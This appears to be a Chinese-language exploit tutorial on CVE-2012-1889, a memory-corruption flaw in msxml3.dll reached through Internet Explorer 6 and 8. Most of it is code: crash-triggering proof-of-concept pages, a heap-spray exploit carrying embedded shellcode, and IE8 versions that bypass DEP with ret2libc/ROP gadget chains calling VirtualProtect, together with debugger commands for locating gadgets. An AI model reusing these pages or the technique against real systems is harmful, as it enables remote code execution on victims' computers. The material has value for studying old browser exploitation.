軟件名稱:Microsoft Internet Explorer 軟件版本:6.0\8.0 漏洞模塊:msxml3.dll 模塊版本:- 編譯日期:2008-04-14 |
操作系統:Windows XP/7 漏洞編號:CVE-2012-1889 危害等級:高危 漏洞類型:緩沖區溢出 威脅類型:遠程 |
1. 軟件簡介
2. 漏洞成因

3. 利用過程
1 <html>
2 <head>
3 <title>CVE 2012-1889 PoC v1 By:15PB.Com</title>
4 </head>
5 <body>
6 <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='15PB'></object>
7 <script>
8 document.getElementById("15PB").object.definition(0); 9 </script>
10 </body>
11 </html>
產生異常處
1 <html>
2 <head>
3 <title>CVE 2012-1889 PoC v1 By:15PB.Com</title>
4 </head>
5 <body>
6 <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='15PB'></object>
7 <script>
8 //獲取名為15PB的對象,並將其保存到名為obj15PB實例中
9 var obj15PB = document.getElementById('15PB').object; 10
11 //初始化數據變量srcImgPath的內容(unescape()是解碼函數)
12 var srcImgPath = unescape('\u0c0c\u0c0c'); 13
14 //構建一個長度為0x1000字節的數據
15 while(srcImgPath.length < 0x1000) 16 srcImgPath += srcImgPath; 17
18 //構建一個長度為0x1000-10[4088*2]的數據,起始內容為“\\15PB_Com”
19 srcImgPath = "\\\\15PB_Com"+srcImgPath; 20
21 nLenth = 0x1000-4-2-1; //4=堆長度信息 2=堆結尾信息 1=0x00
22
23 srcImgPath = srcImgPath.substr(0,nLenth); 24
25 //創建一個圖片元素,並將圖片源路徑設為srcImgPath;
26 var emtPic = document.createElement("img"); 27
28 emtPic.src = srcImgPath; 29
30 emtPic.nameProp; //返回當前圖片文件名(載入路徑)
31
32 obj15PB.definition(0); //定義對象(觸發溢出)
33
34 </script>
35 </body>
36 </html>
再次使用windbg重新附加,可見嘗試從0c0c0c0c的位置取數據,從而發生崩潰
總結觸發原因
1 5dd8d751 8b45ec mov eax,dword ptr [ebp-14h] 2 ... 3 5dd8d75d 8b08 mov ecx,dword ptr [eax] 4 ... 5 5dd8d772 ff5118 call dword ptr [ecx+18h]
利用思路:使內存地址0C0C0C0C的位置成為我們自己的代碼,可以使用堆噴射技術(Heap Spray)
Heap Spray 原理攻擊者在使用 HeapSpray的時候 會在堆棧溢出后將EIP指向堆區 類似於0x0C0C0C0C的位置並且在這之前會利用javascript申請大量的堆內存,並用包含SlideCode 和 Shellcode 的代碼塊不斷重復地占用所申請的內存空間Slide內存一般是由200個左右的slide塊組成的,每個slide塊都是由大量的滑板指令(NOP或OR AL,0C)加Shellcode組成這樣只要0x0C0C0C0C命中任意一個滑板指令,都會將其引導到我們的ShellCode中
1 //轉換成JS格式
2 //此函數最短可轉碼2字節文件
3 void c_2_javascript(unsigned char* bData, int nSize) 4 { 5 //1.創建文件
6 FILE* fpJS = nullptr; 7 errno_t errRet = fopen_s(&fpJS, "JavaScript.txt", "w"); 8 //2.循環轉碼並寫入目標文件(需考慮位數為奇數的情況)
9
10 for (int i = 0; i < nSize; i += 2) 11 { 12 //注意小尾存儲
13 if (i + 2 == nSize) 14 { 15 fprintf(fpJS, "\\u%02X%02X", 0, bData[i]); 16 } 17 else
18 { 19 fprintf(fpJS, "\\u%02X%02X", bData[i + 1], bData[i]); 20 } 21 } 22 fclose(fpJS); 23 }
構造POC利用代碼
1 <html>
2 <head>
3 <title>CVE 2012-1889 PoC v1 By:15PB.Com</title>
4 </head>
5 <body>
6 <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='15PB'></object>
7 <script>
8
9 //1.准備好shellcode
10 var cShellCode = unescape("\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\uC033\uFFE8\uFFFF\uC3FF\u8D58\u1B70\uC933\uB966\u0117\u048A\u340E\u880B\u0E04\uF6E2\u3480\u0B0E\uE6FF\uE788\uE07B\u4347\u676E\u6467\u3A2B\u5B3E\u0B49\u734E\u7F62\u795B\u6864\u786E\u0B78\u6E46\u7878\u6C6A\u496E\u7364\u0B4A\u6447\u6F6A\u6247\u7969\u796A\u4E72\u4A73\u7E0B\u6E78\u3879\u2539\u676F\u0B67\u6E4C\u5B7F\u6479\u4A68\u6F6F\u6E79\u7878\uE30B\u0B0B\u0B0B\u5C54\u806F\u3B3E\u0B0B\u800B\u077D\u7D80\u8017\u803D\u0355\u7880\u0837\u80F8\u737D\uF808\u5D80\u8013\u174D\uC808\u7580\u082F\u5CF0\u7D80\u082B\u38F8\u80C2\u8537\uF008\u0CE0\uC130\u7E4A\uE0FF\u5A12\u805D\u80FC\u2F77\u8807\u1FE4\u04B2\u0B0B\uF70B\uADF8\u5255\u087F\uEBE0\u54C8\u0786\u0444\u02BC\u0F80\u0883\u5BC8\u8058\u2F77\u8803\u25E4\u585C\uDBF4\u7780\u032F\uE488\u6114\u610B\u5C0B\uDBF4\u7780\u032F\uE488\u8031\u2F7F\u5C0F\uF45B\u5BDD\u7780\u072F\uE488\u804D\u2F7F\u8003\u2F57\u5C0F\uF458\u5BDD\u7780\u1B2F\u4C86\u80A4\u2F57\u610F\u5B0B\u615B\uF40B\u80D8\u2F07\u0B61\uDAF4\u000B"); 11
12 //2.制作一塊滑板數據
13 //2.1 計算填充滑板指令數據的大小(都除2是因為length返回的是unicode的字符個數)
14 var nSlideSize = 1024*1024 / 2; //一個滑板指令區的大小(1MB)
15 var nMlcHadSize = 32 /2; //堆頭部大小
16 var nStrLenSize = 4/2; //堆長度信息大小
17 var nTerminatorSize = 2/2; //堆結尾符號大小
18 var nScSize = cShellCode.length; //ShellCode大小
19 var nFillSize = nSlideSize - nMlcHadSize - nStrLenSize - nScSize - nTerminatorSize; 20
21 //2.2 填充滑板指令,制作好一塊填充數據
22 var cFillData = unescape("\u0C0C\u0C0C"); //滑板指令 0C0C OR AL,0C
23 var cSlideData = new Array(); //申請數組對象用於保存滑板數據
24
25 while(cFillData.length <= nSlideSize) 26 cFillData+=cFillData; 27
28 cFillData = cFillData.substring(0,nFillSize); 29
30 //3.填充200MB的內存區域(申請200塊1MB大小的滑板數據區),試圖覆蓋0x0C0C0C0C區域
31 //每塊滑板數據均由滑板數據 + shellcode 組成,這樣只要任意一塊滑板數據
32 //正好落在0x0C0C0C0C處,大量無用的"OR AL,0C"就會將執行流程引到滑板數據區后面的shellcode處,進而執行shellcode
33 for(var i=0;i<200;i++) 34 { 35 cSlideData[i] = cFillData + cShellCode; 36 } 37
38 //4.觸發CVE 2012-1889漏洞
39 //4.1 獲取名為15PB的對象,並將其保存到名為obj15PB實例中
40 //獲取名為15PB的對象,並將其保存到名為obj15PB實例中
41
42 var obj15PB = document.getElementById('15PB').object; 43
44 //初始化數據變量srcImgPath的內容(unescape()是解碼函數)
45 var srcImgPath = unescape('\u0c0c\u0c0c'); 46
47 //構建一個長度為0x1000字節的數據
48 while(srcImgPath.length < 0x1000) 49 srcImgPath += srcImgPath; 50
51 //構建一個長度為0x1000-10[4088*2]的數據,起始內容為“\\15PB_Com”
52 srcImgPath = "\\\\15PB"+srcImgPath; 53 srcImgPath = srcImgPath.substr(0,0x1000-10); 54
55 //創建一個圖片元素,並將圖片源路徑設為srcImgPath;
56 var emtPic = document.createElement("img"); 57
58 emtPic.src = srcImgPath; 59
60 emtPic.nameProp; //返回當前圖片文件名(載入路徑)
61
62 obj15PB.definition(0); //定義對象(觸發溢出)
63
64 </script>
65 </body>
66 </html>
測試成功
3.2 xp+IE8.0

使用上面xp+IE6.0環境下的寫好的poc測試,發現0C0C0C0C地址處並沒有數據
通過查閱其他資料,得知因為IE8.0加入了DEP保護,對Heap Spray做了些許限制,采用直接字符串賦值的方式會被禁止,因此需要將堆噴射時的代碼修改為:
1 //原代碼
2 for(var i=0;i<200;i++) 3 { 4 cSlideData[i] = cFillData + cShellCode; 5 } 6
7 //修改后
8 var cBlock = cFillData + cShellCode; 9 for(var i=0;i<200;i++) 10 { 11 cSlideData[i] = cBlock.substr(0,cBlock.length); 12 }
再次測試,仍然可以被填充,並觸發DEP保護,說明漏洞還在,下面要做的就是繞過DEP保護
數據執行保護DEP 保護是緩沖區溢出攻擊出現后,出現的一種防護機制, 它的核心思想就是將內存分塊后,設置不同的保護標志,令表示代碼的區塊擁有執行權限,而保存數據的區塊僅有讀寫權限,進而防止數據區域內的 shellcode 執行。DEP 的實現分為兩種,一種為軟件實現,是由各個操作系統 編譯過程中引入的,在微軟中叫 SafeSEH。另一種為硬件實現,由英特爾這種CPU 硬件生產廠商固化到硬件中的, 也稱作 NX保護機制。 繞過DEP需要用到Ret2Libc技術, 即連續調用程序代碼本身的內存地址,以逐步地創建一連串欲執行的指令序列,其中我們可以調用 ZwSetInfomationProcess,VirtualProtect,VitualAlloc 一類的函數來實現關閉 DEP 的目的。本次使用 VirtualProtect 修改內存區域為可寫實現關閉 DEP。在 IE 使用的模塊中找到這些ret 指令為結尾的指令序列,我們稱之為 gadgets。在構造Ret2Libc指令序列時,我們要仔細區分系統棧和堆空間以及自己構造出的棧。經過分析溢出地址的指令,去掉不相關的指令后如下所示。
自己構造的堆空間
為了繞過DEP,我們需要前面的ret2libc技術,另外,必須保證跳轉到堆上的時候正好位於Ret2libc鏈的第一條指令,因此需要使用精准堆噴射技術,才可以保證0x0C0C0C0C處即為Ret2libc鏈的第一個字節,使用windbg調試打開POC頁面的IE額進程,當完成對的噴射之后,使用windbg查看0x0C0C0C0C所在的堆塊的屬性以及0x0C0C0C0C距離堆空間首地址的偏移,可以使用命令!heap -p -a 0C0C0C0C 查看
最后要構造的結構如下



使用命令 !py mona find -s "\x94\xc3" -m msvcrt.dll查找xchg eax,esp;ret 指令序列

使用命令 u kernel32!VirtualProtect 找到VirtualProtect的地址


使用PE工具查看msvcrt.dll .data段的RVA


隨便使用一個地址77c2d123作為第四個參數就可以
1 <html>
2 <head>
3 <title>CVE 2012-1889 POC BY 15PB</title>
4 </head>
5 <body>
6 <object classid = "clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='15PB'></object>
7 <script>
8 // 1.生成Padding
9 var cPadding = unescape("\u0C0C\u0C0C"); 10 while(cPadding.length < 0x1000) 11 cPadding += cPadding; 12 cPadding = cPadding.substring(0, 0x5F6); 13
14 // 2.制作Ret2Libc
15 var cRet2Libc = unescape("\u1110\u77BE" + // RET
16 "\uBB36\u77BE" + // POP EBP; RET
17 "\u5ED5\u77BE" + // XCHG EAX,ESP
18 "\u1110\u77BE" + // RET
19 "\u1110\u77BE" + // RET
20 "\u1110\u77BE" + // RET
21 "\u1110\u77BE" + // RET
23 "\u1AD4\u7C80" + // VirtualProtect
24 "\u0c40\u0c0c" + // Shellcode address
25 "\u0c00\u0c0c" + // lpAddr
26 "\u1000\u0000" + // dwSize
27 "\u0040\u0000" + // flNewProtect
28 "\uD123\u77C2"); // lpfOldProtect
29
30 // 3.准備好Payload
31 var cPayload = unescape("\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\uC033\uFFE8\uFFFF\uC3FF\u8D58\u1B70\uC933\uB966\u0117\u048A\u340E\u880B\u0E04\uF6E2\u3480\u0B0E\uE6FF\uE788\uE07B\u4347\u676E\u6467\u3A2B\u5B3E\u0B49\u734E\u7F62\u795B\u6864\u786E\u0B78\u6E46\u7878\u6C6A\u496E\u7364\u0B4A\u6447\u6F6A\u6247\u7969\u796A\u4E72\u4A73\u7E0B\u6E78\u3879\u2539\u676F\u0B67\u6E4C\u5B7F\u6479\u4A68\u6F6F\u6E79\u7878\uE30B\u0B0B\u0B0B\u5C54\u806F\u3B3E\u0B0B\u800B\u077D\u7D80\u8017\u803D\u0355\u7880\u0837\u80F8\u737D\uF808\u5D80\u8013\u174D\uC808\u7580\u082F\u5CF0\u7D80\u082B\u38F8\u80C2\u8537\uF008\u0CE0\uC130\u7E4A\uE0FF\u5A12\u805D\u80FC\u2F77\u8807\u1FE4\u04B2\u0B0B\uF70B\uADF8\u5255\u087F\uEBE0\u54C8\u0786\u0444\u02BC\u0F80\u0883\u5BC8\u8058\u2F77\u8803\u25E4\u585C\uDBF4\u7780\u032F\uE488\u6114\u610B\u5C0B\uDBF4\u7780\u032F\uE488\u8031\u2F7F\u5C0F\uF45B\u5BDD\u7780\u072F\uE488\u804D\u2F7F\u8003\u2F57\u5C0F\uF458\u5BDD\u7780\u1B2F\u4C86\u80A4\u2F57\u610F\u5B0B\u615B\uF40B\u80D8\u2F07\u0B61\uDAF4\u000B"); 32 // 4.准備好FillData
33 // 4.1 計算填充滑板指令的大小
34 var nSlideSize = 0x1000; // 一個滑板指令區的大小(1MB)
35 var nPadSize = cPadding.length; 36 var nR2LSize = cRet2Libc.length; 37 var nPaySize = cPayload.length; 38 var nFillSize = nSlideSize - nPadSize - nR2LSize - nPaySize; 39
40 // 4.2 制作好一塊填充數據
41 var cFillData = unescape("\u0C0C\u0C0C"); // 滑板指令 0C0C OR AL,0C0C
42 while(cFillData.length <= nSlideSize) 43 cFillData += cFillData; 44 cFillData = cFillData.substring(0, nFillSize); // 應該是將cFillData內nFillSize個字符填為0
45
46 // 5. 構建滑板指令數據塊
47 var nBlockSize = 0x40000; // 256KB
48 var cBlock = cPadding + cRet2Libc + cPayload + cFillData; 49 while(cBlock.length < nBlockSize) 50 cBlock += cBlock; 51 cBlock = cBlock.substring(2, nBlockSize-0x21); 52
53 // 6. 填充200M的內存區域(申請800塊256KB大小的滑板數據區),試圖覆蓋0x0C0C0C0C
54 // 區域,每塊滑板數據均由 滑板數據+Shellcode 組成,這樣只要任意一塊滑板數據
55 // 正好落在0x0C0C0C0C處,大量無用的“OR AL,0C”就會將執行流程引到滑板數據區
56 // 后面的Shellcode處,進而執行Shellcode
57 var cSlideData = new Array(); 58 for(var i=0; i<800; ++i) 59 cSlideData[i] = cBlock.substr(0, cBlock.length); 60
61 // 7.觸發CVE 2012-1889漏洞
62 // 7.1獲取名為15PB的XML對象,並將其保存到名為obj15PB實例中
63 var obj15PB = document.getElementById('15PB').object; 64
65 // 7.2構建一個長度為0x1000 - 10 = 8182,起始內容為“\\15PB”字節的數據
66 var srclmgPath = unescape("\u0C0C\u0C08"); // 注意這里填0c08
67 while(srclmgPath.length < 0x1000) 68 srclmgPath += srclmgPath; 69 srclmgPath = "\\\\15PB" + srclmgPath; 70 srclmgPath = srclmgPath.substr(0, 0x1000 - 10); 71
72 // 7.3 創建一個圖片元素,並將圖片源路徑設為srclmgPath,並返回當前圖片文件名
73 var emtPic = document.createElement("img"); 74 emtPic.src = srclmgPath; 75 emtPic.nameProp; 76
77 // 4.4定義對象obj15PB(觸發溢出)
78 obj15PB.definition(0); 79 </script>
80 </body>
81 </html>



1 <html>
2 <head>
3 <title>CVE 2012-1889 POC BY 15PB</title>
4 </head>
5 <body>
6 <object classid = "clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='15PB'></object>
7 <script>
8 // 1.生成Padding
9 var cPadding = unescape("\u0C0C\u0C0C"); 10 while(cPadding.length < 0x1000) 11 cPadding += cPadding; 12 cPadding = cPadding.substring(0, 0x5F6); 13 // 2. 制作Ret2Libc
14 // 2.制作Ret2Libc
15 var cRet2Libc = unescape("\u1064\u68e1" + // RET
16 "\u11C5\u68e1" + // POP EBP; RET
17 "\u7c65\u68e1" + // XCHG EAX,ESP
18 "\u1064\u68e1" + // RET
19 "\u1064\u68e1" + // RET
20 "\u1064\u68e1" + // RET
21 "\u1064\u68e1" + // RET
23 "\u50ab\u770c" + // VirtualProtect
24 "\u0c40\u0c0c" + // Shellcode address
25 "\u0c00\u0c0c" + // lpAddr
26 "\u1000\u0000" + // dwSize
27 "\u0040\u0000" + // flNewProtect
28 "\u1234\u68e9"); // lpfOldProtect
29
30 // 3.准備好Payload
31 var cPayload = unescape("\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\uC033\uFFE8\uFFFF\uC3FF\u8D58\u1B70\uC933\uB966\u0117\u048A\u340E\u880B\u0E04\uF6E2\u3480\u0B0E\uE6FF\uE788\uE07B\u4347\u676E\u6467\u3A2B\u5B3E\u0B49\u734E\u7F62\u795B\u6864\u786E\u0B78\u6E46\u7878\u6C6A\u496E\u7364\u0B4A\u6447\u6F6A\u6247\u7969\u796A\u4E72\u4A73\u7E0B\u6E78\u3879\u2539\u676F\u0B67\u6E4C\u5B7F\u6479\u4A68\u6F6F\u6E79\u7878\uE30B\u0B0B\u0B0B\u5C54\u806F\u3B3E\u0B0B\u800B\u077D\u7D80\u8017\u803D\u0355\u7880\u0837\u80F8\u737D\uF808\u5D80\u8013\u174D\uC808\u7580\u082F\u5CF0\u7D80\u082B\u38F8\u80C2\u8537\uF008\u0CE0\uC130\u7E4A\uE0FF\u5A12\u805D\u80FC\u2F77\u8807\u1FE4\u04B2\u0B0B\uF70B\uADF8\u5255\u087F\uEBE0\u54C8\u0786\u0444\u02BC\u0F80\u0883\u5BC8\u8058\u2F77\u8803\u25E4\u585C\uDBF4\u7780\u032F\uE488\u6114\u610B\u5C0B\uDBF4\u7780\u032F\uE488\u8031\u2F7F\u5C0F\uF45B\u5BDD\u7780\u072F\uE488\u804D\u2F7F\u8003\u2F57\u5C0F\uF458\u5BDD\u7780\u1B2F\u4C86\u80A4\u2F57\u610F\u5B0B\u615B\uF40B\u80D8\u2F07\u0B61\uDAF4\u000B"); 32 // 4.准備好FillData
33 // 4.1 計算填充滑板指令的大小
34 var nSlideSize = 0x1000; // 一個滑板指令區的大小(4KB)
35 var nPadSize = cPadding.length; 36 var nR2LSize = cRet2Libc.length; 37 var nPaySize = cPayload.length; 38 var nFillSize = nSlideSize - nPadSize - nR2LSize - nPaySize; 39
40 // 4.2 制作好一塊填充數據
41 var cFillData = unescape("\u0C0C\u0C0C"); // 滑板指令 0C0C OR AL,0C0C
42 while(cFillData.length <= nSlideSize) 43 cFillData += cFillData; 44 cFillData = cFillData.substring(0, nFillSize); // 應該是將cFillData內nFillSize個字符填為0
45
46 // 5. 構建滑板指令數據塊
47 var nBlockSize = 0x40000; // 256KB
48 var cBlock = cPadding + cRet2Libc + cPayload + cFillData; 49 while(cBlock.length < nBlockSize) 50 cBlock += cBlock; 51 cBlock = cBlock.substring(2, nBlockSize-0x21); 52
53 // 6. 填充200M的內存區域(申請800塊256KB大小的滑板數據區),試圖覆蓋0x0C0C0C0C
54 // 區域,每塊滑板數據均由 滑板數據+Shellcode 組成,這樣只要任意一塊滑板數據
55 // 正好落在0x0C0C0C0C處,大量無用的“OR AL,0C”就會將執行流程引到滑板數據區
56 // 后面的Shellcode處,進而執行Shellcode
57 var cSlideData = new Array(); 58 for(var i=0; i<800; ++i) 59 cSlideData[i] = cBlock.substr(0, cBlock.length); 60
61 // 7.觸發CVE 2012-1889漏洞
62 // 7.1獲取名為15PB的XML對象,並將其保存到名為obj15PB實例中
63 var obj15PB = document.getElementById('15PB').object; 64
65 // 7.2構建一個長度為0x1000 - 10 = 8182,起始內容為“\\15PB”字節的數據
66 var srclmgPath = unescape("\u0C0C\u0C08"); // 注意這里填0c08
67 while(srclmgPath.length < 0x1000) 68 srclmgPath += srclmgPath; 69 srclmgPath = "\\\\15PB" + srclmgPath; 70 srclmgPath = srclmgPath.substr(0, 0x1000 - 10); 71
72 // 7.3 創建一個圖片元素,並將圖片源路徑設為srclmgPath,並返回當前圖片文件名
73 var emtPic = document.createElement("img"); 74 emtPic.src = srclmgPath; 75 emtPic.nameProp; 76
77 // 4.4定義對象obj15PB(觸發溢出)
78 obj15PB.definition(0); 79 </script>
80 </body>
81 </html>

